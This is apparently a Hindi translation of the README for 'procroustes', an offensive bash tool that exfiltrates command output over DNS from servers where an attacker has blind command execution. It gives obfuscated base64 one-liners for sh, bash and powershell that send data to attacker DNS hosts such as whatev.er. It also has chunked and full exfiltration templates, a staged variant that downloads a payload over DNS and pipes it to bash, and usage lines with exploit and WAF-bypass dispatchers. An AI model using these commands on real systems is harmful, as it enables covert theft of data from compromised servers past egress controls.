
एक bash स्क्रिप्ट जो DNS के माध्यम से डेटा की निकासी को स्वचालित करती है, जब हमारे पास egress फ़िल्टरिंग वाले सर्वर पर अंधा कमांड निष्पादन होता है।
एक bash स्क्रिप्ट जो DNS के ऊपर डेटा के बाहर निकासी (exfiltration) को स्वचालित करती है, जब हमारे पास एक सर्वर पर अंधा कमांड निष्पादन (blind command execution) होता है, जहाँ DNS को छोड़कर सभी आउटबाउंड कनेक्शन अवरुद्ध होते हैं। स्क्रिप्ट वर्तमान में sh, bash और powershell का समर्थन करती है और exec शैली के कमांड निष्पादन (जैसे java.lang.Runtime.exec) के साथ संगत है।
असंगठित (Unstaged):
संगठित (Staged):
अपने संचालन के लिए, स्क्रिप्ट उस कमांड को इनपुट के रूप में लेती है जिसे हम लक्ष्य सर्वर पर चलाना चाहते हैं और लक्ष्य शेल के अनुसार इसे रूपांतरित करती है ताकि इसके आउटपुट को DNS के ऊपर बाहर निकाला जा सके। कमांड के रूपांतरित होने के बाद, इसे "डिस्पैचर" को खिलाया जाता है। डिस्पैचर उपयोगकर्ता द्वारा प्रदान किया गया एक प्रोग्राम है और एक इनपुट के रूप में एक कमांड लेने और इसे किसी भी आवश्यक माध्यम से लक्ष्य सर्वर पर निष्पादित करने के लिए जिम्मेदार है (जैसे किसी भेद्यता का शोषण)। कमांड के लक्ष्य सर्वर पर निष्पादित होने के बाद, यह हमारे DNS नाम सर्वर पर हमारे डेटा के टुकड़ों वाले DNS अनुरोधों को ट्रिगर करने की उम्मीद की जाती है। स्क्रिप्ट उन अनुरोधों को तब तक सुनती है जब तक उपयोगकर्ता द्वारा प्रदान किए गए कमांड का आउटपुट पूरी तरह से बाहर नहीं निकाला जाता।
नीचे समर्थित कमांड रूपांतरण दिए गए हैं, जो कमांड के बाहर निकासी के लिए उत्पन्न हुए हैं: ls
sh:
sh -c $@|base64${IFS}-d|sh . echo IGRpZyBAMCArdHJpZXM9NSBgKGxzKXxiYXNlNjQgLXcwfHdjIC1jYC5sZW4xNjAzNTQxMTc4LndoYXRldi5lcgo=
bash:
bash -c {echo,IG5zbG9va3VwIGAobHMpfGJhc2U2NCAtdzB8d2MgLWNgLmxlbi4xNjAzMDMwNTYwLndoYXRldi5lcgo=}|{base64,-d}|bash
powershell:
powershell -enc UgBlAHMAbwBsAHYAZQAtAEQAbgBzAE4AYQBtAGUAIAAkACgAIgB7ADAAfQAuAHsAMQB9AC4AewAyAH0AIgAgAC0AZgAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA=
./procroustes_chunked.sh -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' < <(stdbuf -oL tcpdump --immediate -l -i any udp port 53)
stdbuf -oL tcpdump --immediate -l -i any udp port 53|./procroustes_chunked.sh -w ps -h whatev.er -d "Resolve-DnsName -Server wsl2_IP -Name" -x dispatcher_examples/local_powershell_wsl2.sh -- 'gci | % {$_.Name}'
./procroustes_chunked.sh -w ps -h yourdns.host -d "Resolve-DnsName" -x dispatcher_examples/curl_waf.sh -- 'gci | % {$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53')
./procroustes_chunked.sh --help
संक्षेप में, मान लें कि हम कुछ डेटा को बाहर निकालना चाहते हैं जिसे DNS पर प्रेषित करने के लिए चार टुकड़ों में तोड़ना होगा:
उनके कुछ अंतरों को bash के लिए उपयोग किए जाने वाले टेम्पलेट कमांड के माध्यम से भी चित्रित किया जा सकता है:
procroustes_chunked/bash:
%DNS_TRIGGER% `(%CMD%)|base64 -w0|cut -b$((%INDEX%+1))-$((%INDEX%+%COUNT%))'`.%UNIQUE_DNS_HOST%
procroustes_full/bash:
(%CMD%)|base64 -w0|echo $(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|awk '{printf "%s.%s%s\n",$1,NR,"%UNIQUE_DNS_HOST%"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%
procroustes_full/bash/staged:
(seq %ITERATIONS%|%S_DNS_TRIGGGER% $(cat).%UNIQUE_DNS_HOST%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash
| procroustes_chunked | procroustes_full | procroustes_full_staged | |
|---|---|---|---|
| पेलोड आकार ओवरहेड (bash/powershell) | 150*NLABELS/500*NLABELS (+CMD_LEN) | 300/800 (+CMD_LEN) | 150/400[1] |
| डिस्पैचर कॉल की संख्या | #आउटपुट/(LABEL_SIZE*NLABELS)[2] | 1 | 1 |
| गति (bash/powershell) | ✔/✔ | ✔/✔ | ✓/✓[3] |
| कॉन्फ़िगरेशन कठिनाई | आसान | आसान+ | मध्यम |
[1] स्टेज्ड संस्करण के लिए, कमांड DNS के माध्यम से डाउनलोड किया जाता है, इसलिए सूचीबद्ध आकार कुल पेलोड आकार भी है।
[2] procroustes_chunked पर, डिस्पैचर को कई बार कॉल किया जाता है और इसलिए प्रदान किया गया कमांड जो सर्वर पर निष्पादित होना चाहिए (जब तक इसका सारा आउटपुट बाहर नहीं निकल जाता) भी कई बार कॉल होता है। यह व्यवहार आदर्श नहीं है यदि सर्वर पर कमांडों की डिलीवरी (अर्थात डिस्पैचर को कॉल करके) समय/संसाधन गहन हो।
यह समस्या पैदा कर सकता है यदि हम सर्वर पर जो कमांड निष्पादित कर रहे हैं वह इडेम्पोटेंट नहीं है (कार्यक्षमता या आउटपुट के संदर्भ में, जैसे "ls; rm file") या समय/संसाधन गहन है (जैसे find / -name secret)। इस मामले के लिए एक कार्य-समाधान यह है कि पहले कमांड आउटपुट को एक फ़ाइल में संग्रहीत करें (जैसे /tmp/file) और फिर उस फ़ाइल को पढ़ने के लिए स्क्रिप्ट का उपयोग करें।
[3] स्टेज्ड संस्करण में DNS पर वास्तविक पेलोड प्राप्त करने के लिए आवश्यक समय का ओवरहेड होता है। यह ध्यान दिया जाना चाहिए कि स्क्रिप्ट वास्तविक पेलोड प्राप्त करने के लिए A रिकॉर्ड का उपयोग करती है। हालांकि यह हमारे ट्रैफ़िक को लक्ष्य वातावरण के नियमित ट्रैफ़िक के साथ बेहतर ढंग से मिश्रित करने की अनुमति देता है, यह सीमित चैनल क्षमता प्रदान करता है (जैसे प्रति अनुरोध 4 बाइट्स)। हम TXT जैसे अन्य रिकॉर्ड प्रकारों का उपयोग कर सकते हैं और स्टेज डाउनलोड समय (लगभग शून्य) और स्टेजर आकार को कम कर सकते हैं।